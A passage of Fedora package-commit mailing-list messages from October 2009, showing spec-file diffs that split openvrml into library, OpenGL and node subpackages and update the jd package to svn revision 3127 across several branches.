 Requires:       mesa-libGLU-devel%{?_isa}
-%description gl-devel
+%description -n libopenvrml-gl-devel
 Headers that programmers will need to develop C++ programs using the
 OpenVRML OpenGL renderer.
 
@@ -127,32 +145,26 @@ CXXFLAGS="%optflags -fvisibility=hidden 
 %{__rm} %{buildroot}%{_libdir}/mozilla/plugins/openvrml.la
 %{__rm} %{buildroot}%{_libdir}/openvrml/node/*.la
 %{__rm} %{buildroot}%{_libdir}/openvrml/script/*.la
-%{__cp} AUTHORS COPYING.LESSER ChangeLog NEWS README THANKS %{buildroot}%{_docdir}/%{name}-%{version}
 
 %clean
 %{__rm} -rf %{buildroot}
 
-%post -p /sbin/ldconfig
+%files
+
+%post -n libopenvrml -p /sbin/ldconfig
 
-%postun -p /sbin/ldconfig
+%postun -n libopenvrml -p /sbin/ldconfig
 
-%files
-%doc %{_docdir}/%{name}-%{version}/AUTHORS
-%doc %{_docdir}/%{name}-%{version}/COPYING.LESSER
-%doc %{_docdir}/%{name}-%{version}/ChangeLog
-%doc %{_docdir}/%{name}-%{version}/NEWS
-%doc %{_docdir}/%{name}-%{version}/README
-%doc %{_docdir}/%{name}-%{version}/THANKS
+%files -n libopenvrml
+%doc AUTHORS COPYING.LESSER ChangeLog NEWS README THANKS
 %dir %{_datadir}/openvrml
 %dir %{_datadir}/openvrml/component
-%{_datadir}/openvrml/component/*.xml
 %{_libdir}/libopenvrml.so.*
 %dir %{_libdir}/openvrml
 %dir %{_libdir}/openvrml/node
-%{_libdir}/openvrml/node/*.so
 %dir %{_libdir}/openvrml/script
 
-%files devel
+%files -n libopenvrml-devel
 %doc AUTHORS COPYING.LESSER ChangeLog NEWS README THANKS
 %dir %{_includedir}/%{name}
 %{_includedir}/%{name}/openvrml-common.h
@@ -162,24 +174,28 @@ CXXFLAGS="%optflags -fvisibility=hidden 
 %{_libdir}/libopenvrml.so
 %{_libdir}/pkgconfig/openvrml.pc
 
+%files nodes
+%{_datadir}/openvrml/component/*.xml
+%{_libdir}/openvrml/node/*.so
+
 %files javascript
 %{_libdir}/openvrml/script/javascript.so
 
 %files java
-%{_libdir}/openvrml/script/java.so
 %dir %{_datadir}/openvrml/java
 %{_datadir}/openvrml/java/script.jar
+%{_libdir}/openvrml/script/java.so
 %{_javadocdir}/%{name}-%{version}
 
-%post gl -p /sbin/ldconfig
+%post -n libopenvrml-gl -p /sbin/ldconfig
 
-%postun gl -p /sbin/ldconfig
+%postun -n libopenvrml-gl -p /sbin/ldconfig
 
-%files gl
+%files -n libopenvrml-gl
 %doc AUTHORS COPYING.LESSER ChangeLog NEWS README THANKS
 %{_libdir}/libopenvrml-gl.so.*
 
-%files gl-devel
+%files -n libopenvrml-gl-devel
 %doc AUTHORS COPYING.LESSER ChangeLog NEWS README THANKS
 %{_includedir}/%{name}/openvrml-gl-common.h
 %{_includedir}/%{name}/openvrml-gl-config.h
@@ -213,10 +229,13 @@ CXXFLAGS="%optflags -fvisibility=hidden 
 %doc %{_docdir}/%{name}-%{version}/manual
 
 %changelog
-* Thu Oct 15 2009  Braden McDaniel  <braden at endoframe.com>
+* Thu Oct 15 2009  Braden McDaniel  <braden at endoframe.com> - 0.18.3-6
 - Copy README, etc. to %%{_docdir} in %%install so that we can use absolute
   paths with %%doc; the relative form invokes an rm -rf that blows away the
   Doxygen docs.
+- Moved libopenvrml.so.* to libopenvrml subpackage.
+- Moved libopenvrml-gl.so.* to libopenvrml-gl subpackage.
+- Moved node implementations to openvrml-nodes subpackage.
 
 * Wed Oct 14 2009  Braden McDaniel  <braden at endoframe.com>
 - Moved jar file and javadoc to openvrml-java subpackage.



From braden at fedoraproject.org  Fri Oct 16 02:56:14 2009
From: braden at fedoraproject.org (Braden McDaniel)
Date: Fri, 16 Oct 2009 02:56:14 +0000 (UTC)
Subject: rpms/openvrml/F-12 openvrml.spec,1.79,1.80
Message-ID: <20091016025614.B3DD711C00DB@cvs1.fedora.phx.redhat.com>

Author: braden

Update of /cvs/pkgs/rpms/openvrml/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv22861/F-12

Modified Files:
	openvrml.spec 
Log Message:
Moved libopenvrml.so.* to libopenvrml subpackage; moved libopenvrml-gl.so.* to libopenvrml-gl subpackage; moved node implementations to openvrml-nodes subpackage; made openvrml a metapackage.


Index: openvrml.spec
===================================================================
RCS file: /cvs/pkgs/rpms/openvrml/F-12/openvrml.spec,v
retrieving revision 1.79
retrieving revision 1.80
diff -u -p -r1.79 -r1.80
--- openvrml.spec	15 Oct 2009 06:08:19 -0000	1.79
+++ openvrml.spec	16 Oct 2009 02:56:14 -0000	1.80
@@ -1,8 +1,8 @@
 # -*- rpm-spec -*-
 Name:           openvrml
 Version:        0.18.3
-Release:        6%{?dist}
-Summary:        VRML/X3D runtime library
+Release:        7%{?dist}
+Summary:        VRML/X3D player and runtime library
 License:        LGPLv3+
 Group:          System Environment/Libraries
 Source:         http://downloads.sourceforge.net/openvrml/%{name}-%{version}.tar.gz
@@ -24,26 +24,44 @@ BuildRequires:  gtkglext-devel
 BuildRequires:  libgnomeui-devel >= 2.14
 BuildRequires:  curl-devel
 BuildRequires:  java-devel
+Requires:       openvrml-player%{?_isa} = %{version}-%{release}
+Requires:       openvrml-mozilla-plugin%{?_isa} = %{version}-%{release}
+Requires:       openvrml-nodes%{?_isa} = %{version}-%{release}
+Requires:       openvrml-java%{?_isa} = %{version}-%{release}
+Requires:       openvrml-javascript%{?_isa} = %{version}-%{release}
 
 %description
-OpenVRML is a VRML/X3D support library, including a runtime and facilities
-for reading and displaying VRML and X3D models.
+Metapackage that aggregates the stand-alone player, the Web browser
+plug-in, the node implementations, and the Java and JavaScript
+scripting engines.
 
+%package -n libopenvrml
+Summary:        VRML/X3D runtime library
+Group:          System Environment/Libraries
+%description -n libopenvrml
+The core runtime library and parsing facilities for OpenVRML.
 
-%package devel
+%package -n lib%{name}-devel
 Summary:        Headers for developing C++ programs with OpenVRML
 Group:          Development/Libraries
-Requires:       %{name}%{?_isa} = %{version}-%{release}
+Requires:       libopenvrml%{?_isa} = %{version}-%{release}
 Requires:       pkgconfig >= 0.18.0
 Requires:       boost-devel%{?_isa} >= 1.37.0
-%description devel
+%description -n libopenvrml-devel
 Headers that programmers will need to develop C++ programs using
-OpenVRML.
+libopenvrml.
+
+%package nodes
+Summary:        OpenVRML node implementations.
+Group:          System Environment/Libraries
+Requires:       libopenvrml%{?_isa} = %{version}-%{release}
+%description nodes
+Node implementations for OpenVRML.
 
 %package javascript
 Summary:        Script node JavaScript support for OpenVRML
 Group:          System Environment/Libraries
-Requires:       %{name}%{?_isa} = %{version}-%{release}
+Requires:       libopenvrml%{?_isa} = %{version}-%{release}
 Requires:       xulrunner%{?_isa} >= 1.9.1
 %description javascript
 A JavaScript scripting engine for OpenVRML using Mozilla SpiderMonkey.
@@ -51,26 +69,26 @@ A JavaScript scripting engine for OpenVR
 %package java
 Summary:        Script node Java support for OpenVRML
 Group:          System Environment/Libraries
-Requires:       %{name}%{?_isa} = %{version}-%{release}
+Requires:       libopenvrml%{?_isa} = %{version}-%{release}
 Requires:       java-1.6.0-openjdk%{?_isa}
 %description java
 A Java scripting engine for OpenVRML.
 
-%package gl
+%package -n libopenvrml-gl
 Summary:        OpenGL renderer for OpenVRML
 Group:          System Environment/Libraries
-Requires:       %{name}%{?_isa} = %{version}-%{release}
-%description gl
+Requires:       libopenvrml%{?_isa} = %{version}-%{release}
+%description -n libopenvrml-gl
 OpenGL renderer for OpenVRML.
 
-%package gl-devel
+%package -n libopenvrml-gl-devel
 Summary:        OpenVRML OpenGL renderer headers
 Group:          Development/Libraries
-Requires:       %{name}-gl%{?_isa} = %{version}-%{release}
-Requires:       %{name}-devel%{?_isa} = %{version}-%{release}
+Requires:       libopenvrml-gl%{?_isa} = %{version}-%{release}
+Requires:       libopenvrml-devel%{?_isa} = %{version}-%{release}
 Requires:       pkgconfig >= 0.18.0
 Requires:       mesa-libGLU-devel%{?_isa}
-%description gl-devel
+%description -n libopenvrml-gl-devel
 Headers that programmers will need to develop C++ programs using the
 OpenVRML OpenGL renderer.
 
@@ -127,32 +145,26 @@ CXXFLAGS="%optflags -fvisibility=hidden 
 %{__rm} %{buildroot}%{_libdir}/mozilla/plugins/openvrml.la
 %{__rm} %{buildroot}%{_libdir}/openvrml/node/*.la
 %{__rm} %{buildroot}%{_libdir}/openvrml/script/*.la
-%{__cp} AUTHORS COPYING.LESSER ChangeLog NEWS README THANKS %{buildroot}%{_docdir}/%{name}-%{version}
 
 %clean
 %{__rm} -rf %{buildroot}
 
-%post -p /sbin/ldconfig
+%files
 
-%postun -p /sbin/ldconfig
+%post -n libopenvrml -p /sbin/ldconfig
 
-%files
-%doc %{_docdir}/%{name}-%{version}/AUTHORS
-%doc %{_docdir}/%{name}-%{version}/COPYING.LESSER
-%doc %{_docdir}/%{name}-%{version}/ChangeLog
-%doc %{_docdir}/%{name}-%{version}/NEWS
-%doc %{_docdir}/%{name}-%{version}/README
-%doc %{_docdir}/%{name}-%{version}/THANKS
+%postun -n libopenvrml -p /sbin/ldconfig
+
+%files -n libopenvrml
+%doc AUTHORS COPYING.LESSER ChangeLog NEWS README THANKS
 %dir %{_datadir}/openvrml
 %dir %{_datadir}/openvrml/component
-%{_datadir}/openvrml/component/*.xml
 %{_libdir}/libopenvrml.so.*
 %dir %{_libdir}/openvrml
 %dir %{_libdir}/openvrml/node
-%{_libdir}/openvrml/node/*.so
 %dir %{_libdir}/openvrml/script
 
-%files devel
+%files -n libopenvrml-devel
 %doc AUTHORS COPYING.LESSER ChangeLog NEWS README THANKS
 %dir %{_includedir}/%{name}
 %{_includedir}/%{name}/openvrml-common.h
@@ -161,22 +173,25 @@ CXXFLAGS="%optflags -fvisibility=hidden 
 %{_includedir}/%{name}/openvrml/*.h
 %{_libdir}/libopenvrml.so
 %{_libdir}/pkgconfig/openvrml.pc
+  
+%files nodes
+%{_datadir}/openvrml/component/*.xml
+%{_libdir}/openvrml/node/*.so
 
 %files javascript
 %{_libdir}/openvrml/script/javascript.so
 
 %files java
-%{_libdir}/openvrml/script/java.so
 %dir %{_datadir}/openvrml/java
 %{_datadir}/openvrml/java/script.jar
+%{_libdir}/openvrml/script/java.so
 %{_javadocdir}/%{name}-%{version}
-
-
-%post gl -p /sbin/ldconfig
-
-%postun gl -p /sbin/ldconfig
-
-%files gl
+  
+%post -n libopenvrml-gl -p /sbin/ldconfig
+  
+%postun -n libopenvrml-gl -p /sbin/ldconfig
+  
+%files -n libopenvrml-gl
 %doc AUTHORS COPYING.LESSER ChangeLog NEWS README THANKS
 %{_libdir}/libopenvrml-gl.so.*
 
@@ -214,10 +229,13 @@ CXXFLAGS="%optflags -fvisibility=hidden 
 %doc %{_docdir}/%{name}-%{version}/manual
 
 %changelog
-* Thu Oct 15 2009  Braden McDaniel  <braden at endoframe.com>
+* Thu Oct 15 2009  Braden McDaniel  <braden at endoframe.com> - 0.18.3-7
 - Copy README, etc. to %%{_docdir} in %%install so that we can use absolute
   paths with %%doc; the relative form invokes an rm -rf that blows away the
   Doxygen docs.
+- Moved libopenvrml.so.* to libopenvrml subpackage.
+- Moved libopenvrml-gl.so.* to libopenvrml-gl subpackage.
+- Moved node implementations to openvrml-nodes subpackage.
 
 * Wed Oct 14 2009  Braden McDaniel  <braden at endoframe.com>
 - Moved jar file and javadoc to openvrml-java subpackage.



From braden at fedoraproject.org  Fri Oct 16 02:56:14 2009
From: braden at fedoraproject.org (Braden McDaniel)
Date: Fri, 16 Oct 2009 02:56:14 +0000 (UTC)
Subject: rpms/openvrml/devel openvrml.spec,1.80,1.81
Message-ID: <20091016025614.F325211C00DB@cvs1.fedora.phx.redhat.com>

Author: braden

Update of /cvs/pkgs/rpms/openvrml/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv22861/devel

Modified Files:
	openvrml.spec 
Log Message:
Moved libopenvrml.so.* to libopenvrml subpackage; moved libopenvrml-gl.so.* to libopenvrml-gl subpackage; moved node implementations to openvrml-nodes subpackage; made openvrml a metapackage.


Index: openvrml.spec
===================================================================
RCS file: /cvs/pkgs/rpms/openvrml/devel/openvrml.spec,v
retrieving revision 1.80
retrieving revision 1.81
diff -u -p -r1.80 -r1.81
--- openvrml.spec	15 Oct 2009 06:08:20 -0000	1.80
+++ openvrml.spec	16 Oct 2009 02:56:14 -0000	1.81
@@ -1,8 +1,8 @@
 # -*- rpm-spec -*-
 Name:           openvrml
 Version:        0.18.3
-Release:        7%{?dist}
-Summary:        VRML/X3D runtime library
+Release:        8%{?dist}
+Summary:        VRML/X3D player and runtime library
 License:        LGPLv3+
 Group:          System Environment/Libraries
 Source:         http://downloads.sourceforge.net/openvrml/%{name}-%{version}.tar.gz
@@ -24,26 +24,44 @@ BuildRequires:  gtkglext-devel
 BuildRequires:  libgnomeui-devel >= 2.14
 BuildRequires:  curl-devel
 BuildRequires:  java-devel
+Requires:       openvrml-player%{?_isa} = %{version}-%{release}
+Requires:       openvrml-mozilla-plugin%{?_isa} = %{version}-%{release}
+Requires:       openvrml-nodes%{?_isa} = %{version}-%{release}
+Requires:       openvrml-java%{?_isa} = %{version}-%{release}
+Requires:       openvrml-javascript%{?_isa} = %{version}-%{release}
 
 %description
-OpenVRML is a VRML/X3D support library, including a runtime and facilities
-for reading and displaying VRML and X3D models.
+Metapackage that aggregates the stand-alone player, the Web browser
+plug-in, the node implementations, and the Java and JavaScript
+scripting engines.
 
+%package -n libopenvrml
+Summary:        VRML/X3D runtime library
+Group:          System Environment/Libraries
+%description -n libopenvrml
+The core runtime library and parsing facilities for OpenVRML.
 
-%package devel
+%package -n lib%{name}-devel
 Summary:        Headers for developing C++ programs with OpenVRML
 Group:          Development/Libraries
-Requires:       %{name}%{?_isa} = %{version}-%{release}
+Requires:       libopenvrml%{?_isa} = %{version}-%{release}
 Requires:       pkgconfig >= 0.18.0
 Requires:       boost-devel%{?_isa} >= 1.37.0
-%description devel
+%description -n libopenvrml-devel
 Headers that programmers will need to develop C++ programs using
-OpenVRML.
+libopenvrml.
+
+%package nodes
+Summary:        OpenVRML node implementations.
+Group:          System Environment/Libraries
+Requires:       libopenvrml%{?_isa} = %{version}-%{release}
+%description nodes
+Node implementations for OpenVRML.
 
 %package javascript
 Summary:        Script node JavaScript support for OpenVRML
 Group:          System Environment/Libraries
-Requires:       %{name}%{?_isa} = %{version}-%{release}
+Requires:       libopenvrml%{?_isa} = %{version}-%{release}
 Requires:       xulrunner%{?_isa} >= 1.9.1
 %description javascript
 A JavaScript scripting engine for OpenVRML using Mozilla SpiderMonkey.
@@ -51,26 +69,26 @@ A JavaScript scripting engine for OpenVR
 %package java
 Summary:        Script node Java support for OpenVRML
 Group:          System Environment/Libraries
-Requires:       %{name}%{?_isa} = %{version}-%{release}
+Requires:       libopenvrml%{?_isa} = %{version}-%{release}
 Requires:       java-1.6.0-openjdk%{?_isa}
 %description java
 A Java scripting engine for OpenVRML.
 
-%package gl
+%package -n libopenvrml-gl
 Summary:        OpenGL renderer for OpenVRML
 Group:          System Environment/Libraries
-Requires:       %{name}%{?_isa} = %{version}-%{release}
-%description gl
+Requires:       libopenvrml%{?_isa} = %{version}-%{release}
+%description -n libopenvrml-gl
 OpenGL renderer for OpenVRML.
 
-%package gl-devel
+%package -n libopenvrml-gl-devel
 Summary:        OpenVRML OpenGL renderer headers
 Group:          Development/Libraries
-Requires:       %{name}-gl%{?_isa} = %{version}-%{release}
-Requires:       %{name}-devel%{?_isa} = %{version}-%{release}
+Requires:       libopenvrml-gl%{?_isa} = %{version}-%{release}
+Requires:       libopenvrml-devel%{?_isa} = %{version}-%{release}
 Requires:       pkgconfig >= 0.18.0
 Requires:       mesa-libGLU-devel%{?_isa}
-%description gl-devel
+%description -n libopenvrml-gl-devel
 Headers that programmers will need to develop C++ programs using the
 OpenVRML OpenGL renderer.
 
@@ -127,32 +145,26 @@ CXXFLAGS="%optflags -fvisibility=hidden 
 %{__rm} %{buildroot}%{_libdir}/mozilla/plugins/openvrml.la
 %{__rm} %{buildroot}%{_libdir}/openvrml/node/*.la
 %{__rm} %{buildroot}%{_libdir}/openvrml/script/*.la
-%{__cp} AUTHORS COPYING.LESSER ChangeLog NEWS README THANKS %{buildroot}%{_docdir}/%{name}-%{version}
 
 %clean
 %{__rm} -rf %{buildroot}
 
-%post -p /sbin/ldconfig
+%files
+
+%post -n libopenvrml -p /sbin/ldconfig
 
-%postun -p /sbin/ldconfig
+%postun -n libopenvrml -p /sbin/ldconfig
 
-%files
-%doc %{_docdir}/%{name}-%{version}/AUTHORS
-%doc %{_docdir}/%{name}-%{version}/COPYING.LESSER
-%doc %{_docdir}/%{name}-%{version}/ChangeLog
-%doc %{_docdir}/%{name}-%{version}/NEWS
-%doc %{_docdir}/%{name}-%{version}/README
-%doc %{_docdir}/%{name}-%{version}/THANKS
+%files -n libopenvrml
+%doc AUTHORS COPYING.LESSER ChangeLog NEWS README THANKS
 %dir %{_datadir}/openvrml
 %dir %{_datadir}/openvrml/component
-%{_datadir}/openvrml/component/*.xml
 %{_libdir}/libopenvrml.so.*
 %dir %{_libdir}/openvrml
 %dir %{_libdir}/openvrml/node
-%{_libdir}/openvrml/node/*.so
 %dir %{_libdir}/openvrml/script
 
-%files devel
+%files -n libopenvrml-devel
 %doc AUTHORS COPYING.LESSER ChangeLog NEWS README THANKS
 %dir %{_includedir}/%{name}
 %{_includedir}/%{name}/openvrml-common.h
@@ -162,24 +174,28 @@ CXXFLAGS="%optflags -fvisibility=hidden 
 %{_libdir}/libopenvrml.so
 %{_libdir}/pkgconfig/openvrml.pc
 
+%files nodes
+%{_datadir}/openvrml/component/*.xml
+%{_libdir}/openvrml/node/*.so
+
 %files javascript
 %{_libdir}/openvrml/script/javascript.so
 
 %files java
-%{_libdir}/openvrml/script/java.so
 %dir %{_datadir}/openvrml/java
 %{_datadir}/openvrml/java/script.jar
+%{_libdir}/openvrml/script/java.so
 %{_javadocdir}/%{name}-%{version}
 
-%post gl -p /sbin/ldconfig
+%post -n libopenvrml-gl -p /sbin/ldconfig
 
-%postun gl -p /sbin/ldconfig
+%postun -n libopenvrml-gl -p /sbin/ldconfig
 
-%files gl
+%files -n libopenvrml-gl
 %doc AUTHORS COPYING.LESSER ChangeLog NEWS README THANKS
 %{_libdir}/libopenvrml-gl.so.*
 
-%files gl-devel
+%files -n libopenvrml-gl-devel
 %doc AUTHORS COPYING.LESSER ChangeLog NEWS README THANKS
 %{_includedir}/%{name}/openvrml-gl-common.h
 %{_includedir}/%{name}/openvrml-gl-config.h
@@ -213,10 +229,13 @@ CXXFLAGS="%optflags -fvisibility=hidden 
 %doc %{_docdir}/%{name}-%{version}/manual
 
 %changelog
-* Thu Oct 15 2009  Braden McDaniel  <braden at endoframe.com>
+* Thu Oct 15 2009  Braden McDaniel  <braden at endoframe.com> - 0.18.3-8
 - Copy README, etc. to %%{_docdir} in %%install so that we can use absolute
   paths with %%doc; the relative form invokes an rm -rf that blows away the
   Doxygen docs.
+- Moved libopenvrml.so.* to libopenvrml subpackage.
+- Moved libopenvrml-gl.so.* to libopenvrml-gl subpackage.
+- Moved node implementations to openvrml-nodes subpackage.
 
 * Wed Oct 14 2009  Braden McDaniel  <braden at endoframe.com>
 - Moved jar file and javadoc to openvrml-java subpackage.



From mtasaka at fedoraproject.org  Fri Oct 16 03:02:08 2009
From: mtasaka at fedoraproject.org (Mamoru Tasaka)
Date: Fri, 16 Oct 2009 03:02:08 +0000 (UTC)
Subject: rpms/jd/F-10 .cvsignore, 1.408, 1.409 jd.spec, 1.469, 1.470 sources,
	1.409, 1.410
Message-ID: <20091016030209.0CAEE11C00DB@cvs1.fedora.phx.redhat.com>

Author: mtasaka

Update of /cvs/extras/rpms/jd/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv24207/F-10

Modified Files:
	.cvsignore jd.spec sources 
Log Message:
* Fri Oct 16 2009 Mamoru Tasaka <mtasaka at ioa.s.u-tokyo.ac.jp>
- rev 3127



Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/jd/F-10/.cvsignore,v
retrieving revision 1.408
retrieving revision 1.409
diff -u -p -r1.408 -r1.409
--- .cvsignore	8 Oct 2009 17:32:41 -0000	1.408
+++ .cvsignore	16 Oct 2009 03:02:08 -0000	1.409
@@ -1 +1 @@
-jd-2.5.0-svn3119_trunk.tgz
+jd-2.5.0-svn3127_trunk.tgz


Index: jd.spec
===================================================================
RCS file: /cvs/extras/rpms/jd/F-10/jd.spec,v
retrieving revision 1.469
retrieving revision 1.470
diff -u -p -r1.469 -r1.470
--- jd.spec	8 Oct 2009 17:32:42 -0000	1.469
+++ jd.spec	16 Oct 2009 03:02:08 -0000	1.470
@@ -10,7 +10,7 @@
 # Defined by upsteam
 #
 %define         main_ver      2.5.0
-%define         strtag        svn3119_trunk
+%define         strtag        svn3127_trunk
 %define         repoid        43788
 # Define this if this is pre-version
 %define         pre_release   1
@@ -135,8 +135,8 @@ gtk-update-icon-cache %{_datadir}/icons/
 %{icondir}/%{name}.png
 
 %changelog
-* Fri Oct  9 2009 Mamoru Tasaka <mtasaka at ioa.s.u-tokyo.ac.jp>
-- rev 3119
+* Fri Oct 16 2009 Mamoru Tasaka <mtasaka at ioa.s.u-tokyo.ac.jp>
+- rev 3127
 
 * Sun Sep 27 2009 Mamoru Tasaka <mtasaka at ioa.s.u-tokyo.ac.jp> - 2.4.2-1
 - 2.4.2


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/jd/F-10/sources,v
retrieving revision 1.409
retrieving revision 1.410
diff -u -p -r1.409 -r1.410
--- sources	8 Oct 2009 17:32:42 -0000	1.409
+++ sources	16 Oct 2009 03:02:08 -0000	1.410
@@ -1 +1 @@
-7be66a16601e972e1d8bfe2992da9f29  jd-2.5.0-svn3119_trunk.tgz
+f0596c1746d097d12a914f2f50111b4e  jd-2.5.0-svn3127_trunk.tgz



From mtasaka at fedoraproject.org  Fri Oct 16 03:02:08 2009
From: mtasaka at fedoraproject.org (Mamoru Tasaka)
Date: Fri, 16 Oct 2009 03:02:08 +0000 (UTC)
Subject: rpms/jd/F-11 .cvsignore, 1.402, 1.403 jd.spec, 1.465, 1.466 sources,
	1.403, 1.404
Message-ID: <20091016030209.10A7611C0265@cvs1.fedora.phx.redhat.com>

Author: mtasaka

Update of /cvs/extras/rpms/jd/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv24207/F-11

Modified Files:
	.cvsignore jd.spec sources 
Log Message:
* Fri Oct 16 2009 Mamoru Tasaka <mtasaka at ioa.s.u-tokyo.ac.jp>
- rev 3127



Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/jd/F-11/.cvsignore,v
retrieving revision 1.402
retrieving revision 1.403
diff -u -p -r1.402 -r1.403
--- .cvsignore	8 Oct 2009 17:32:42 -0000	1.402
+++ .cvsignore	16 Oct 2009 03:02:08 -0000	1.403
@@ -1 +1 @@
-jd-2.5.0-svn3119_trunk.tgz
+jd-2.5.0-svn3127_trunk.tgz


Index: jd.spec
===================================================================
RCS file: /cvs/extras/rpms/jd/F-11/jd.spec,v
retrieving revision 1.465
retrieving revision 1.466
diff -u -p -r1.465 -r1.466
--- jd.spec	8 Oct 2009 17:32:42 -0000	1.465
+++ jd.spec	16 Oct 2009 03:02:08 -0000	1.466
@@ -10,7 +10,7 @@
 # Defined by upsteam
 #
 %define         main_ver      2.5.0
-%define         strtag        svn3119_trunk
+%define         strtag        svn3127_trunk
 %define         repoid        43788
 # Define this if this is pre-version
 %define         pre_release   1
@@ -135,8 +135,8 @@ gtk-update-icon-cache %{_datadir}/icons/
 %{icondir}/%{name}.png
 
 %changelog
-* Fri Oct  9 2009 Mamoru Tasaka <mtasaka at ioa.s.u-tokyo.ac.jp>
-- rev 3119
+* Fri Oct 16 2009 Mamoru Tasaka <mtasaka at ioa.s.u-tokyo.ac.jp>
+- rev 3127
 
 * Sun Sep 27 2009 Mamoru Tasaka <mtasaka at ioa.s.u-tokyo.ac.jp> - 2.4.2-1
 - 2.4.2


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/jd/F-11/sources,v
retrieving revision 1.403
retrieving revision 1.404
diff -u -p -r1.403 -r1.404
--- sources	8 Oct 2009 17:32:42 -0000	1.403
+++ sources	16 Oct 2009 03:02:08 -0000	1.404
@@ -1 +1 @@
-7be66a16601e972e1d8bfe2992da9f29  jd-2.5.0-svn3119_trunk.tgz
+f0596c1746d097d12a914f2f50111b4e  jd-2.5.0-svn3127_trunk.tgz



From mtasaka at fedoraproject.org  Fri Oct 16 03:02:09 2009
From: mtasaka at fedoraproject.org (Mamoru Tasaka)
Date: Fri, 16 Oct 2009 03:02:09 +0000 (UTC)
Subject: rpms/jd/F-12 .cvsignore, 1.402, 1.403 jd.spec, 1.466, 1.467 sources,
	1.403, 1.404
Message-ID: <20091016030209.163EE11C0266@cvs1.fedora.phx.redhat.com>

Author: mtasaka

Update of /cvs/extras/rpms/jd/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv24207/F-12

Modified Files:
	.cvsignore jd.spec sources 
Log Message:
* Fri Oct 16 2009 Mamoru Tasaka <mtasaka at ioa.s.u-tokyo.ac.jp>
- rev 3127



Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/jd/F-12/.cvsignore,v
retrieving revision 1.402
retrieving revision 1.403
diff -u -p -r1.402 -r1.403
--- .cvsignore	8 Oct 2009 17:32:43 -0000	1.402
+++ .cvsignore	16 Oct 2009 03:02:08 -0000	1.403
@@ -1 +1 @@
-jd-2.5.0-svn3119_trunk.tgz
+jd-2.5.0-svn3127_trunk.tgz


Index: jd.spec
===================================================================
RCS file: /cvs/extras/rpms/jd/F-12/jd.spec,v
retrieving revision 1.466
retrieving revision 1.467
diff -u -p -r1.466 -r1.467
--- jd.spec	8 Oct 2009 17:32:43 -0000	1.466
+++ jd.spec	16 Oct 2009 03:02:08 -0000	1.467
@@ -10,7 +10,7 @@
 # Defined by upsteam
 #
 %define         main_ver      2.5.0
-%define         strtag        svn3119_trunk
+%define         strtag        svn3127_trunk
 %define         repoid        43788
 # Define this if this is pre-version
 %define         pre_release   1
@@ -135,8 +135,8 @@ gtk-update-icon-cache %{_datadir}/icons/
 %{icondir}/%{name}.png
 
 %changelog
-* Fri Oct  9 2009 Mamoru Tasaka <mtasaka at ioa.s.u-tokyo.ac.jp>
-- rev 3119
+* Fri Oct 16 2009 Mamoru Tasaka <mtasaka at ioa.s.u-tokyo.ac.jp>
+- rev 3127
 
 * Sun Sep 27 2009 Mamoru Tasaka <mtasaka at ioa.s.u-tokyo.ac.jp> - 2.4.2-1
 - 2.4.2


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/jd/F-12/sources,v
retrieving revision 1.403
retrieving revision 1.404
diff -u -p -r1.403 -r1.404
--- sources	8 Oct 2009 17:32:43 -0000	1.403
+++ sources	16 Oct 2009 03:02:08 -0000	1.404
@@ -1 +1 @@
-7be66a16601e972e1d8bfe2992da9f29  jd-2.5.0-svn3119_trunk.tgz
+f0596c1746d097d12a914f2f50111b4e  jd-2.5.0-svn3127_trunk.tgz



From mtasaka at fedoraproject.org  Fri Oct 16 03:02:09 2009
From: mtasaka at fedoraproject.org (Mamoru Tasaka)
Date: Fri, 16 Oct 2009 03:02:09 +0000 (UTC)
Subject: rpms/jd/devel .cvsignore, 1.391, 1.392 jd.spec, 1.454, 1.455 sources,
	1.392, 1.393
Message-ID: <20091016030209.83BEB11C00DB@cvs1.fedora.phx.redhat.com>

Author: mtasaka

Update of /cvs/extras/rpms/jd/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv24207/devel

Modified Files:
	.cvsignore jd.spec sources 
Log Message:
* Fri Oct 16 2009 Mamoru Tasaka <mtasaka at ioa.s.u-tokyo.ac.jp>
- rev 3127



Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/jd/devel/.cvsignore,v
retrieving revision 1.391
retrieving revision 1.392
diff -u -p -r1.391 -r1.392
--- .cvsignore	8 Oct 2009 17:32:43 -0000	1.391
+++ .cvsignore	16 Oct 2009 03:02:09 -0000	1.392
@@ -1 +1 @@
-jd-2.5.0-svn3119_trunk.tgz
+jd-2.5.0-svn3127_trunk.tgz


Index: jd.spec
===================================================================
RCS file: /cvs/extras/rpms/jd/devel/jd.spec,v
retrieving revision 1.454
retrieving revision 1.455
diff -u -p -r1.454 -r1.455
--- jd.spec	8 Oct 2009 17:32:43 -0000	1.454
+++ jd.spec	16 Oct 2009 03:02:09 -0000	1.455
@@ -10,7 +10,7 @@
 # Defined by upsteam
 #
 %define         main_ver      2.5.0
-%define         strtag        svn3119_trunk
+%define         strtag        svn3127_trunk
 %define         repoid        43788
 # Define this if this is pre-version
 %define         pre_release   1
@@ -135,8 +135,8 @@ gtk-update-icon-cache %{_datadir}/icons/
 %{icondir}/%{name}.png
 
 %changelog
-* Fri Oct  9 2009 Mamoru Tasaka <mtasaka at ioa.s.u-tokyo.ac.jp>
-- rev 3119
+* Fri Oct 16 2009 Mamoru Tasaka <mtasaka at ioa.s.u-tokyo.ac.jp>
+- rev 3127
 
 * Sun Sep 27 2009 Mamoru Tasaka <mtasaka at ioa.s.u-tokyo.ac.jp> - 2.4.2-1
 - 2.4.2


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/jd/devel/sources,v
retrieving revision 1.392
retrieving revision 1.393
diff -u -p -r1.392 -r1.393
--- sources	8 Oct 2009 17:32:43 -0000	1.392
+++ sources	16 Oct 2009 03:02:09 -0000	1.393
@@ -1 +1 @@
-7be66a16601e972e1d8bfe2992da9f29  jd-2.5.0-svn3119_trunk.tgz
